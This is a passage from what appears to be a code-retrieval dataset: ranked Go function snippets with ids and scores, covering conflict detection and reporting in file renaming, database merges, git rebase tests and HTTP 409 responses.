"0.52270114", "text": "func (op *Operation) reportConflicts() {\n\tvar data [][]string\n\n\tif slice, exists := op.conflicts[emptyFilename]; exists {\n\t\tfor _, v := range slice {\n\t\t\tslice := []string{\n\t\t\t\tstrings.Join(v.source, \"\"),\n\t\t\t\t\"\",\n\t\t\t\tpterm.Red(\"empty filename\"),\n\t\t\t}\n\t\t\tdata = append(data, slice)\n\t\t}\n\t}\n\n\tif slice, exists := op.conflicts[trailingPeriod]; exists {\n\t\tfor _, v := range slice {\n\t\t\tfor _, s := range v.source {\n\t\t\t\tslice := []string{\n\t\t\t\t\ts,\n\t\t\t\t\tv.target,\n\t\t\t\t\tpterm.Red(\n\t\t\t\t\t\t\"trailing periods are prohibited\",\n\t\t\t\t\t),\n\t\t\t\t}\n\t\t\t\tdata = append(data, slice)\n\t\t\t}\n\t\t}\n\t}\n\n\tif slice, exists := op.conflicts[fileExists]; exists {\n\t\tfor _, v := range slice {\n\t\t\tslice := []string{\n\t\t\t\tstrings.Join(v.source, \"\"),\n\t\t\t\tv.target,\n\t\t\t\tpterm.Red(\"path already exists\"),\n\t\t\t}\n\t\t\tdata = append(data, slice)\n\t\t}\n\t}\n\n\tif slice, exists := op.conflicts[overwritingNewPath]; exists {\n\t\tfor _, v := range slice {\n\t\t\tfor _, s := range v.source {\n\t\t\t\tslice := []string{\n\t\t\t\t\ts,\n\t\t\t\t\tv.target,\n\t\t\t\t\tpterm.Red(\"overwriting newly renamed path\"),\n\t\t\t\t}\n\t\t\t\tdata = append(data, slice)\n\t\t\t}\n\t\t}\n\t}\n\n\tif slice, exists := op.conflicts[invalidCharacters]; exists {\n\t\tfor _, v := range slice {\n\t\t\tfor _, s := range v.source {\n\t\t\t\tslice := []string{\n\t\t\t\t\ts,\n\t\t\t\t\tv.target,\n\t\t\t\t\tpterm.Red(\n\t\t\t\t\t\tfmt.Sprintf(\n\t\t\t\t\t\t\t\"invalid characters present: (%s)\",\n\t\t\t\t\t\t\tv.cause,\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t}\n\t\t\t\tdata = append(data, slice)\n\t\t\t}\n\t\t}\n\t}\n\n\tif slice, exists := op.conflicts[maxFilenameLengthExceeded]; exists {\n\t\tfor _, v := range slice {\n\t\t\tfor _, s := range v.source {\n\t\t\t\tslice := []string{\n\t\t\t\t\ts,\n\t\t\t\t\tv.target,\n\t\t\t\t\tpterm.Red(\n\t\t\t\t\t\tfmt.Sprintf(\n\t\t\t\t\t\t\t\"max file name length exceeded: (%s)\",\n\t\t\t\t\t\t\tv.cause,\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t}\n\t\t\t\tdata = append(data, slice)\n\t\t\t}\n\t\t}\n\t}\n\n\tprintTable(data, op.writer)\n}", "title": "" }, { "docid": "4f5f01ec3db8e6b43bf4a981602e4aed", "score": "0.5216608", "text": "func (ps PackageSet) ResolveConflictsExclude() PackageSet {\n\texcluded := map[string]struct{}{}\n\tfor _, pkg := range ps.Exclude {\n\t\texcluded[pkg] = struct{}{}\n\t}\n\n\tnewInclude := []string{}\n\tfor _, pkg := range ps.Include {\n\t\t_, found := excluded[pkg]\n\t\tif !found {\n\t\t\tnewInclude = append(newInclude, pkg)\n\t\t}\n\t}\n\tps.Include = newInclude\n\treturn ps\n}", "title": "" }, { "docid": "ffea202425d2e154aaa8a23202753061", "score": "0.5192536", "text": "func Conflict(format string, a ...interface{}) *proto.Status {\n\treturn &proto.Status{\n\t\tCode: 409,\n\t\tMessage: fmt.Sprintf(format, a...),\n\t}\n}", "title": "" }, { "docid": "f0e523b7e903ea8d5db920dae472430a", "score": "0.51885754", "text": "func (suite *PatchTestSuite) TestPatch_WrongType() {\n\tinput := &pbtask.RuntimeInfo{\n\t\tState: pbtask.TaskState_SUCCEEDED,\n\t\tReason: \"test\",\n\t\tRevision: &peloton.ChangeLog{\n\t\t\tVersion: 3,\n\t\t},\n\t}\n\tsuite.Error(patch(input, map[string]interface{}{\n\t\tjobmgrcommon.StateField: \"wrong value\",\n\t}))\n}", "title": "" }, { "docid": "c08357fbd609ec662831fa86e8843529", "score": "0.513647", "text": "func (op *Operation) detectConflicts() {\n\top.conflicts = make(map[conflictType][]Conflict)\n\n\t// renamedPaths is used to detect overwriting file paths\n\t// after the renaming operation. The key of the map\n\t// is the target path.and the slice it points to must\n\t// have a length of 1, otherwise a conflict will be detected\n\t// for that target path (it means 2 or more source files are\n\t// being renamed to the same target)\n\trenamedPaths := make(map[string][]struct {\n\t\tsourcePath string\n\t\tindex int // helps keep track of source position in the op.matches slice\n\t})\n\n\tfor i := 0; i < len(op.matches); i++ {\n\t\tch := op.matches[i]\n\t\tsourcePath := filepath.Join(ch.BaseDir, ch.Source)\n\t\ttargetPath := filepath.Join(ch.BaseDir, ch.Target)\n\n\t\t// Report if replacement operation results in\n\t\t// an empty string for the new filename\n\t\tif ch.Target == \".\" || ch.Target == \"\" {\n\t\t\top.conflicts[emptyFilename] = append(\n\t\t\t\top.conflicts[emptyFilename],\n\t\t\t\tConflict{\n\t\t\t\t\tsource: []string{sourcePath},\n\t\t\t\t\ttarget: targetPath,\n\t\t\t\t},\n\t\t\t)\n\n\t\t\tif op.fixConflicts {\n\t\t\t\t// The file is left unchanged\n\t\t\t\top.matches[i].Target = ch.Source\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\tdetected := op.checkTrailingPeriodConflict(\n\t\t\tsourcePath,\n\t\t\tch.Target,\n\t\t\ttargetPath,\n\t\t\ti,\n\t\t)\n\t\tif detected && op.fixConflicts {\n\t\t\ti--\n\t\t\tcontinue\n\t\t}\n\n\t\tdetected = op.checkPathLengthConflict(\n\t\t\tsourcePath,\n\t\t\tch.Target,\n\t\t\ttargetPath,\n\t\t\ti,\n\t\t)\n\t\tif detected && op.fixConflicts {\n\t\t\ti--\n\t\t\tcontinue\n\t\t}\n\n\t\tdetected = op.checkForbiddenCharactersConflict(\n\t\t\tsourcePath,\n\t\t\tch.Target,\n\t\t\ttargetPath,\n\t\t\ti,\n\t\t)\n\t\tif detected && op.fixConflicts {\n\t\t\ti--\n\t\t\tcontinue\n\t\t}\n\n\t\tdetected = op.checkPathExistsConflict(sourcePath, targetPath, &ch, i)\n\t\tif detected && op.fixConflicts {\n\t\t\ti--\n\t\t\tcontinue\n\t\t}\n\n\t\trenamedPaths[targetPath] = append(renamedPaths[targetPath], struct {\n\t\t\tsourcePath string\n\t\t\tindex int\n\t\t}{\n\t\t\tsourcePath: sourcePath,\n\t\t\tindex: i,\n\t\t})\n\t}\n\n\top.checkOverwritingPathConflict(renamedPaths)\n}", "title": "" }, { "docid": "1afef1eb38e947a36c848cd188df5335", "score": "0.5118623", "text": "func calculateMergeConflicts(queryist cli.Queryist, sqlCtx *sql.Context, mergeStats map[string]*merge.MergeStats) (map[string]*merge.MergeStats, bool, error) {\n\tdataConflicts, err := GetRowsForSql(queryist, sqlCtx, \"SELECT * FROM dolt_conflicts\")\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\tfor _, conflict := range dataConflicts {\n\t\ttableName := conflict[0].(string)\n\t\tif ok := mergeStats[tableName]; ok != nil {\n\t\t\tmergeStats[tableName].DataConflicts = int(conflict[1].(uint64))\n\t\t} else {\n\t\t\tmergeStats[tableName] = &merge.MergeStats{DataConflicts: int(conflict[1].(uint64))}\n\t\t}\n\t}\n\n\tschemaConflicts, err := GetRowsForSql(queryist, sqlCtx, \"SELECT * FROM dolt_schema_conflicts\")\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\tfor _, conflict := range schemaConflicts {\n\t\ttableName := conflict[0].(string)\n\t\tif ok := mergeStats[tableName]; ok != nil {\n\t\t\tmergeStats[tableName].SchemaConflicts = 1\n\t\t} else {\n\t\t\tmergeStats[tableName] = &merge.MergeStats{SchemaConflicts: 1}\n\t\t}\n\t}\n\n\tconstraintViolations, err := GetRowsForSql(queryist, sqlCtx, \"SELECT * FROM dolt_constraint_violations\")\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\tfor _, conflict := range constraintViolations {\n\t\ttableName := conflict[0].(string)\n\t\tif ok := mergeStats[tableName]; ok != nil {\n\t\t\tmergeStats[tableName].ConstraintViolations = int(conflict[1].(uint64))\n\t\t} else {\n\t\t\tmergeStats[tableName] = &merge.MergeStats{ConstraintViolations: int(conflict[1].(uint64))}\n\t\t}\n\t}\n\n\treturn mergeStats, dataConflicts == nil && schemaConflicts == nil && constraintViolations == nil, nil\n}", "title": "" }, { "docid": "c2b815aa7946efea2fa2f27ff29aedc1", "score": "0.5103184", "text": "func TestGerritOutOfOrderMetaChanges(t *testing.T) {\n\tc := getGoData(t)\n\n\t// Merged:\n\tgoProj := c.Gerrit().Project(\"go.googlesource.com\", \"go\")\n\tcl := goProj.CL(38634)\n\tif cl == nil {\n\t\tt.Fatal(\"CL 38634 not found\")\n\t}\n\tif g, w := cl.Status, \"merged\"; g != w {\n\t\tt.Errorf(\"CL status = %q; want %q\", g, w)\n\t}\n\n\t// Deleted:\n\tgddo := c.Gerrit().Project(\"go.googlesource.com\", \"gddo\")\n\tcl = gddo.CL(37452)\n\tif cl == nil {\n\t\tt.Fatal(\"CL 37452 not found\")\n\t}\n\tt.Logf(\"Got: %+v\", *cl)\n}", "title": "" }, { "docid": "dddd329e61a705a221c2abd89cb60811", "score": "0.5096843", "text": "func TestRebasePullConflict(t *testing.T) {\n\tconst testID = \"TestRebasePullConflict\"\n\ttmpdir, cleanup := MkTmpDir(t, testID)\n\tdefer cleanup()\n\tgh := NewGitTestHelper(WithDebug(false), WithWd(tmpdir))\n\tgh.NewRepoPair(tmpdir)\n\n\tgh.TouchAndCommit(\"B.txt\", \"B: conflict-free change on origin\")\n\tgh.SetContents(\"conflict.txt\", \"1\\n2\\n3\\n\")\n\tgh.Add(\"conflict.txt\")\n\tgh.Commit(\"D: conflicting change on origin\")\n\tgh.Exec(gh.Git(), \"push\", \"origin\")\n\n\tgh.Exec(gh.Git(), \"reset\", \"--hard\", \"HEAD~1\")\n\tgh.TouchAndCommit(\"C.txt\", \"C: conflict-free change on local\")\n\tgh.SetContents(\"conflict.txt\", \"1\\n3\\n\")\n\tgh.Add(\"conflict.txt\")\n\tgh.Commit(\"E: conflicting change on local\")\n\tgh.Exec(gh.Git(), \"pull\", \"--rebase\", \"-v\")\n\n\tconflict := strings.Contains(gh.ErrString(), \": Merge conflict in conflict.txt\")\n\tif !conflict {\n\t\tt.Fatal(\"Expected conflict, got the following instead.\", \"\\n\\n\"+gh.ErrString())\n\t}\n}", "title": "" }, { "docid": "01e79581d3c2d6012e34674daf0d0b27", "score": "0.5096273", "text": "func resolveConflictByXattr(doc_meta_source documentMetadata,\n\tdoc_meta_target documentMetadata, xattrEnabled bool) bool {\n\tif xattrEnabled {\n\t\t// if target is xattr enabled, source mutation has xattr, and target mutation does not have xattr\n\t\t// let source mutation win\n\t\tsource_has_xattr := base.HasXattr(doc_meta_source.dataType)\n\t\ttarget_has_xattr := base.HasXattr(doc_meta_target.dataType)\n\t\treturn source_has_xattr && !target_has_xattr\n\t} else {\n\t\t// if target is not xattr enabled, target mutation always does not have xattr\n\t\t// do not have let source mutation win even if source mutation has xattr,\n\t\t// otherwise source mutations need to be repeatly re-sent in backfill mode\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "f1cfffd7e21696941c942c7d73938bed", "score": "0.50829804", "text": "func (E_OpenconfigOpenflow_FailureMode) IsYANGGoEnum() {}", "title": "" }, { "docid": "5acacaf0643f2c9fba92f1c343b4a1d6", "score": "0.508166", "text": "func TestActionResultMerge(t *testing.T) {\n\tmerge := &ActionResult{\n\t\tUnscheduleMap: map[string]bool{\"cpu\": true, \"osd:latency\": true, \"memory\": false},\n\t\tEvictPods: []k8stypes.NamespacedName{{Namespace: \"ns1\", Name: \"pod-1\"}},\n\t\tAdjustResources: map[v1.ResourceName]ActionResource{\n\t\t\tv1.ResourceCPU: {\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"15\"),\n\t\t\t\t}},\n\t\t\tv1.ResourceMemory: {\n\t\t\t\tConflicting: false,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"20\"),\n\t\t\t\t}},\n\t\t},\n\t\tSyncEvent: true,\n\t}\n\tb := &ActionResult{\n\t\tUnscheduleMap: map[string]bool{\"cpu\": true, \"osd:latency\": false, \"memory\": true, \"slo\": false},\n\t\tEvictPods: []k8stypes.NamespacedName{{Namespace: \"ns1\", Name: \"pod-1\"}, {Namespace: \"ns1\", Name: \"pod-2\"}},\n\t\tAdjustResources: map[v1.ResourceName]ActionResource{\n\t\t\tv1.ResourceCPU: {\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"10\"),\n\t\t\t\t}},\n\t\t},\n\t\tSyncEvent: true,\n\t}\n\texpected := &ActionResult{\n\t\tUnscheduleMap: map[string]bool{\"cpu\": true, \"osd:latency\": true, \"memory\": true, \"slo\": false},\n\t\tEvictPods: []k8stypes.NamespacedName{{Namespace: \"ns1\", Name: \"pod-1\"}, {Namespace: \"ns1\", Name: \"pod-2\"}},\n\t\tAdjustResources: map[v1.ResourceName]ActionResource{\n\t\t\tv1.ResourceCPU: {\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"10\"),\n\t\t\t\t}},\n\t\t\tv1.ResourceMemory: {\n\t\t\t\tConflicting: false,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"20\"),\n\t\t\t\t}},\n\t\t},\n\t\tSyncEvent: true,\n\t}\n\n\tmerge.Merge(b)\n\tassert.DeepEqual(t, *expected, *merge)\n}", "title": "" }, { "docid": "fa0a0d3b79b72b50ea82e4b822582dc2", "score": "0.50744677", "text": "func IsConflict(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\tae, ok := err.(*googleapi.Error)\n\treturn ok && ae.Code == http.StatusConflict\n}", "title": "" }, { "docid": "f10fac83dfbeb3874ac053e7a6b29b0d", "score": "0.50397426", "text": "func (v replaceStrategy) doConflictDetect(e apply.Element) error {\n\treturn v.strategic.doConflictDetect(e)\n}", "title": "" }, { "docid": "2d24037597c0bc1ce5978e43605f1765", "score": "0.50342196", "text": "func BeHTTPStatusConflict() types.GomegaMatcher {\n\treturn &httpStatusMatcher{code: http.StatusConflict}\n}", "title": "" }, { "docid": "1320c1104e703854954d73eb7fe3d4cd", "score": "0.5006549", "text": "func (r *Response) Conflict(message ...string) {\n\tr.json(iris.StatusConflict, message...)\n}", "title": "" }, { "docid": "02311bc0281606214d170f97686753e3", "score": "0.49749866", "text": "func TestDefinitionDoesntMatch(t *testing.T) {\n\treset()\n\tcompiler := &fakeCompiler{}\n\tvalidator := &fakeValidator{}\n\tmatcher := &fakeMatcher{\n\t\tDefaultMatch: true,\n\t}\n\n\thandler, paramTracker, tracker, controller := setupFakeTest(t, compiler, matcher)\n\ttestContext, testContextCancel := context.WithCancel(context.Background())\n\tdefer testContextCancel()\n\n\tdatalock := sync.Mutex{}\n\tpassedParams := []*unstructured.Unstructured{}\n\tnumCompiles := 0\n\n\tcompiler.RegisterDefinition(denyPolicy, func([]cel.ExpressionAccessor, cel.OptionalVariableDeclarations) cel.Filter {\n\t\tdatalock.Lock()\n\t\tnumCompiles += 1\n\t\tdatalock.Unlock()\n\n\t\treturn &fakeFilter{\n\t\t\tkeyId: denyPolicy.Spec.Validations[0].Expression,\n\t\t}\n\t})\n\n\tvalidator.RegisterDefinition(denyPolicy, func(ctx context.Context, matchedResource schema.GroupVersionResource, versionedAttr *admission.VersionedAttributes, versionedParams runtime.Object, namespace *v1.Namespace, runtimeCELCostBudget int64, authz authorizer.Authorizer) ValidateResult {\n\t\treturn ValidateResult{\n\t\t\tDecisions: []PolicyDecision{\n\t\t\t\t{\n\t\t\t\t\tAction: ActionDeny,\n\t\t\t\t\tMessage: \"Denied\",\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t})\n\n\tmatcher.RegisterDefinition(denyPolicy, func(vap *v1beta1.ValidatingAdmissionPolicy, a admission.Attributes) bool {\n\t\t// Match names with even-numbered length\n\t\tobj := a.GetObject()\n\n\t\taccessor, err := meta.Accessor(obj)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t\treturn false\n\t\t}\n\n\t\treturn len(accessor.GetName())%2 == 0\n\t})\n\n\trequire.NoError(t, paramTracker.Add(fakeParams))\n\trequire.NoError(t, tracker.Create(definitionsGVR, denyPolicy, denyPolicy.Namespace))\n\trequire.NoError(t, tracker.Create(bindingsGVR, denyBinding, denyBinding.Namespace))\n\n\t// Wait for controller to reconcile given objects\n\trequire.NoError(t,\n\t\twaitForReconcile(\n\t\t\ttestContext, controller,\n\t\t\tfakeParams, denyBinding, denyPolicy))\n\n\t// Validate a non-matching input.\n\t// Should pass validation with no error.\n\n\tnonMatchingParams := &unstructured.Unstructured{\n\t\tObject: map[string]interface{}{\n\t\t\t\"apiVersion\": paramsGVK.GroupVersion().String(),\n\t\t\t\"kind\": paramsGVK.Kind,\n\t\t\t\"metadata\": map[string]interface{}{\n\t\t\t\t\"name\": \"oddlength\",\n\t\t\t\t\"resourceVersion\": \"1\",\n\t\t\t},\n\t\t},\n\t}\n\trequire.NoError(t,\n\t\thandler.Validate(testContext,\n\t\t\tattributeRecord(\n\t\t\t\tnil, nonMatchingParams,\n\t\t\t\tadmission.Create), &admission.RuntimeObjectInterfaces{}))\n\trequire.Empty(t, passedParams)\n\n\t// Validate a matching input.\n\t// Should match and be denied.\n\tmatchingParams := &unstructured.Unstructured{\n\t\tObject: map[string]interface{}{\n\t\t\t\"apiVersion\": paramsGVK.GroupVersion().String(),\n\t\t\t\"kind\": paramsGVK.Kind,\n\t\t\t\"metadata\": map[string]interface{}{\n\t\t\t\t\"name\": \"evenlength\",\n\t\t\t\t\"resourceVersion\": \"1\",\n\t\t\t},\n\t\t},\n\t}\n\trequire.ErrorContains(t,\n\t\thandler.Validate(testContext,\n\t\t\tattributeRecord(\n\t\t\t\tnil, matchingParams,\n\t\t\t\tadmission.Create), &admission.RuntimeObjectInterfaces{}),\n\t\t`Denied`)\n\trequire.Equal(t, numCompiles, 1)\n}", "title": "" }, { "docid": "19fb429133fdfd12cf88a9ed08c03a0e", "score": "0.4962686", "text": "func guessSyncURLType(sourceURL string, targetURLs []string) syncURLsType {\n\tif targetURLs == nil { // Target is empty\n\t\treturn syncURLsType(cpURLsTypeInvalid)\n\t}\n\tif sourceURL == \"\" { // Source list is empty\n\t\treturn syncURLsType(cpURLsTypeInvalid)\n\t}\n\tif isURLRecursive(sourceURL) { // Type C\n\t\treturn syncURLsType(cpURLsTypeC)\n\t} // else Type A or Type B\n\tfor _, targetURL := range targetURLs {\n\t\tif isTargetURLDir(targetURL) { // Type B\n\t\t\treturn syncURLsType(cpURLsTypeB)\n\t\t}\n\t} // else Type A\n\treturn syncURLsType(cpURLsTypeA)\n}", "title": "" }, { "docid": "8b4577f90ead539b55c880258df6523d", "score": "0.49618003", "text": "func TestDependencies(t *testing.T) {\n\tvar a handler.BitAnalyzer\n\n\ttestTime := time.Now()\n\n\t// test for masking groups, group1 should be masked, failure2 belongs to another group so it will be reported\n\ta.ConfigFailures = []handler.ExtendedFailure{failure1, failure2}\n\ta.Reports = []models.TestReport{report3, report4, report5, report6}\n\texpectedResult := bit.BitStatus{\n\t\tFailures: []*bit.BitStatus_RportedFailure{\n\t\t\t{\n\t\t\t\tFailureData: failure1.Failure.Description,\n\t\t\t\tTimestamp: timestamppb.New(testTime),\n\t\t\t\tCount: 3,\n\t\t\t},\n\t\t\t{\n\t\t\t\tFailureData: failure2.Failure.Description,\n\t\t\t\tTimestamp: timestamppb.New(testTime),\n\t\t\t\tCount: 1,\n\t\t\t},\n\t\t},\n\t}\n\ta.Crosscheck(testTime)\n\tif !reflect.DeepEqual(a.Status, expectedResult) {\n\t\tt.Errorf(\"test failure OUT_OF range threshold, expected %v failures, got %v\", len(expectedResult.Failures), len(a.Status.Failures))\n\t}\n\tclearBitStatus(&a)\n\n\t// test for masking groups, \"group1\", \"group temp\" are masked, failure2 should not be reported\n\ttempFailure := failure1\n\ttempFailure.Failure.Dependencies.MasksOtherGroup = []string{\n\t\t\"group temp\",\n\t\t\"group1\",\n\t}\n\ta.ConfigFailures = []handler.ExtendedFailure{tempFailure, failure2}\n\ta.Reports = []models.TestReport{report3, report4, report5, report6}\n\texpectedResult = bit.BitStatus{\n\t\tFailures: []*bit.BitStatus_RportedFailure{\n\t\t\t{\n\t\t\t\tFailureData: tempFailure.Failure.Description,\n\t\t\t\tTimestamp: timestamppb.New(testTime),\n\t\t\t\tCount: 3,\n\t\t\t},\n\t\t},\n\t}\n\ta.Crosscheck(testTime)\n\tif !reflect.DeepEqual(a.Status, expectedResult) {\n\t\tt.Errorf(\"test failure OUT_OF range threshold, expected %v failures, got %v\", len(expectedResult.Failures), len(a.Status.Failures))\n\t}\n\tclearBitStatus(&a)\n}", "title": "" }, { "docid": "d9b6dda1c6254a8a931cdbafc1cc7499", "score": "0.4944415", "text": "func TestType4Sanity( t *testing.T ) {\n id1 := MustType4()\n id2 := MustType4()\n if id1 == id2 { t.Fatalf( \"id1 and id2 are both %s\", id1 ) }\n}", "title": "" }, { "docid": "bc3700bef06bba556d9f9a0d542300c2", "score": "0.49423027", "text": "func typeCheckReverseDependencies(ctx context.Context, snapshot Snapshot, declURI span.URI, transitive bool) ([]Package, error) {\n\tvariants, err := snapshot.MetadataForFile(ctx, declURI)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// variants must include ITVs for the reverse dependency\n\t// computation, but they are filtered out before we typecheck.\n\tallRdeps := make(map[PackageID]*Metadata)\n\tfor _, variant := range variants {\n\t\trdeps, err := snapshot.ReverseDependencies(ctx, variant.ID, transitive)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tallRdeps[variant.ID] = variant // include self\n\t\tfor id, meta := range rdeps {\n\t\t\tallRdeps[id] = meta\n\t\t}\n\t}\n\tvar ids []PackageID\n\tfor id, meta := range allRdeps {\n\t\tif meta.IsIntermediateTestVariant() {\n\t\t\tcontinue\n\t\t}\n\t\tids = append(ids, id)\n\t}\n\n\t// Sort the packages into some topological order of the\n\t// (unfiltered) metadata graph.\n\tSortPostOrder(snapshot, ids)\n\n\t// Dependencies must be visited first since they can expand\n\t// the search set. Ideally we would process the (filtered) set\n\t// of packages in the parallel postorder of the snapshot's\n\t// (unfiltered) metadata graph, but this is quite tricky\n\t// without a good graph abstraction.\n\t//\n\t// For now, we visit packages sequentially in order of\n\t// ascending height, like an inverted breadth-first search.\n\t//\n\t// Type checking is by far the dominant cost, so\n\t// overlapping it with renaming may not be worthwhile.\n\treturn snapshot.TypeCheck(ctx, ids...)\n}", "title": "" }, { "docid": "4233161fda07d9d33259ebbb154b41f6", "score": "0.49416295", "text": "func isForkIncompatible(s1, s2, head *big.Int) bool {\n\treturn (isForked(s1, head) || isForked(s2, head)) && !configNumEqual(s1, s2)\n}", "title": "" }, { "docid": "4233161fda07d9d33259ebbb154b41f6", "score": "0.49416295", "text": "func isForkIncompatible(s1, s2, head *big.Int) bool {\n\treturn (isForked(s1, head) || isForked(s2, head)) && !configNumEqual(s1, s2)\n}", "title": "" }, { "docid": "17de3e857fc57d8a5a7107c100973ca6", "score": "0.49322736", "text": "func IsConflict(err error) bool {\n\treturn reasonForError(err) == api.StatusReasonConflict\n}", "title": "" }, { "docid": "8f3fd6be3ad22aad18cf85d1e3724ecb", "score": "0.49313983", "text": "func CheckValidTypesForResultMerger(fields []*querypb.Field, pkFieldCount int) error {\n\tfor i := 0; i < pkFieldCount; i++ {\n\t\ttyp := fields[i].Type\n\t\tif !sqltypes.IsIntegral(typ) && !sqltypes.IsFloat(typ) && !sqltypes.IsBinary(typ) {\n\t\t\treturn vterrors.Errorf(vtrpc.Code_FAILED_PRECONDITION, \"unsupported type: %v cannot compare fields with this type\", typ)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "91bcbb3fa9121b3e81e6582900b1ab6a", "score": "0.4922374", "text": "func TestSecurityGroupIdsDiffer(t *testing.T) {\n\tassert := assert.New(t)\n\trequire := require.New(t)\n\t// setup\n\trm := provideResourceManager()\n\t// Tests\n\tt.Run(\"NoDiff=NoSpec_NoStatus\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\trequire.Nil(desiredRG.ko.Spec.SecurityGroupIDs)\n\t\trequire.Nil(latestCacheCluster.SecurityGroups)\n\t\tdiffer := rm.securityGroupIdsDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"NoDiff=NoSpec_HasStatus\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\tlatestCacheCluster.SecurityGroups = provideCacheClusterSecurityGroups(\"sg-001, sg-002\")\n\t\trequire.Nil(desiredRG.ko.Spec.SecurityGroupIDs)\n\t\trequire.NotNil(latestCacheCluster.SecurityGroups)\n\t\tdiffer := rm.securityGroupIdsDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"NoDiff=Spec_Status_Match\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tsg1 := \"sg-001\"\n\t\tsg2 := \"sg-002\"\n\t\tdesiredRG.ko.Spec.SecurityGroupIDs = []*string{&sg1, &sg2}\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\tlatestCacheCluster.SecurityGroups = provideCacheClusterSecurityGroups(sg2, sg1) // same but out of order\n\t\trequire.NotNil(desiredRG.ko.Spec.SecurityGroupIDs)\n\t\trequire.NotNil(latestCacheCluster.SecurityGroups)\n\t\tdiffer := rm.securityGroupIdsDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"Diff=Spec_Status_MisMatch\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tsg1 := \"sg-001\"\n\t\tsg2 := \"sg-002\"\n\t\tdesiredRG.ko.Spec.SecurityGroupIDs = []*string{&sg1}\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\tlatestCacheCluster.SecurityGroups = provideCacheClusterSecurityGroups(sg2, sg1) // sg2 is additional\n\t\trequire.NotNil(desiredRG.ko.Spec.SecurityGroupIDs)\n\t\trequire.NotNil(latestCacheCluster.SecurityGroups)\n\t\tdiffer := rm.securityGroupIdsDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.True(differ)\n\t})\n}", "title": "" }, { "docid": "a8e0bcd0ab2557cdd576133618f50e74", "score": "0.49112955", "text": "func (k *LibKBFS) ForceConflict(u User, tlfName string, t tlf.Type) error {\n\tconfig := u.(*libkbfs.ConfigLocal)\n\n\tctx, cancel := k.newContext(u)\n\tdefer cancel()\n\n\troot, err := getRootNode(ctx, config, tlfName, t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn config.KBFSOps().ForceStuckConflictForTesting(\n\t\tctx, root.GetFolderBranch().Tlf)\n}", "title": "" }, { "docid": "fecf354c5d70c35fa12b4a5f423ab193", "score": "0.4903184", "text": "func (lcfg *LCfg) detectModuleConflicts() {\n\tm := map[int][]Log{}\n\n\tfor _, l := range lcfg.Logs {\n\t\tintMod, _ := l.Module.IntVal()\n\t\tm[intMod] = append(m[intMod], l)\n\t}\n\n\tfor mod, logs := range m {\n\t\tif len(logs) > 1 {\n\t\t\tfor _, l := range logs {\n\t\t\t\tlcfg.ModuleConflicts[mod] =\n\t\t\t\t\tappend(lcfg.ModuleConflicts[mod], l)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "082d9625522bdc40e2f3c641fce4df9a", "score": "0.49021262", "text": "func hasConflictingOptions(ctx *cli.Context) (bool, error) {\n\t// Disallow conflicting format options.\n\tif numericutil.BoolToInt(ctx.Bool(\"format-shell\"))+numericutil.BoolToInt(ctx.Bool(\"format-shell-unexported\"))+\n\t\tnumericutil.BoolToInt(ctx.Bool(\"format-json\"))+numericutil.BoolToInt(ctx.Bool(\"format-raw\")) > 1 {\n\t\treturn true, errors.New(\"multiple output formats are not supported\")\n\t}\n\n\t// Disallow conflicting environment pass through options.\n\tif numericutil.BoolToInt(ctx.Bool(\"preserve-env\"))+numericutil.BoolToInt(ctx.Bool(\"ignore-preserve-env\")) > 1 {\n\t\treturn true, errors.New(\"multiple preserve environment options are not supported\")\n\t}\n\n\t// Disallow conflicting key source options.\n\tif numericutil.StringToBoolInt(ctx.String(\"key-file\"))+numericutil.StringToBoolInt(ctx.String(\"key-value\")) > 1 {\n\t\treturn true, errors.New(\"multiple key source formats are not supported\")\n\t}\n\n\treturn false, nil\n}", "title": "" }, { "docid": "31cfabea1ee5f1e1d32e8594fa4f2b8a", "score": "0.4895481", "text": "func mergeOrDie(ctx *TicketContext, i1, i2 interface{}) interface{} {\n\tif reflect.DeepEqual(i1, i2) {\n\t\treturn i1\n\t}\n\tv1, v2 := reflect.ValueOf(i1).Elem(), reflect.ValueOf(i2).Elem()\n\tk1, k2 := v1.Kind(), 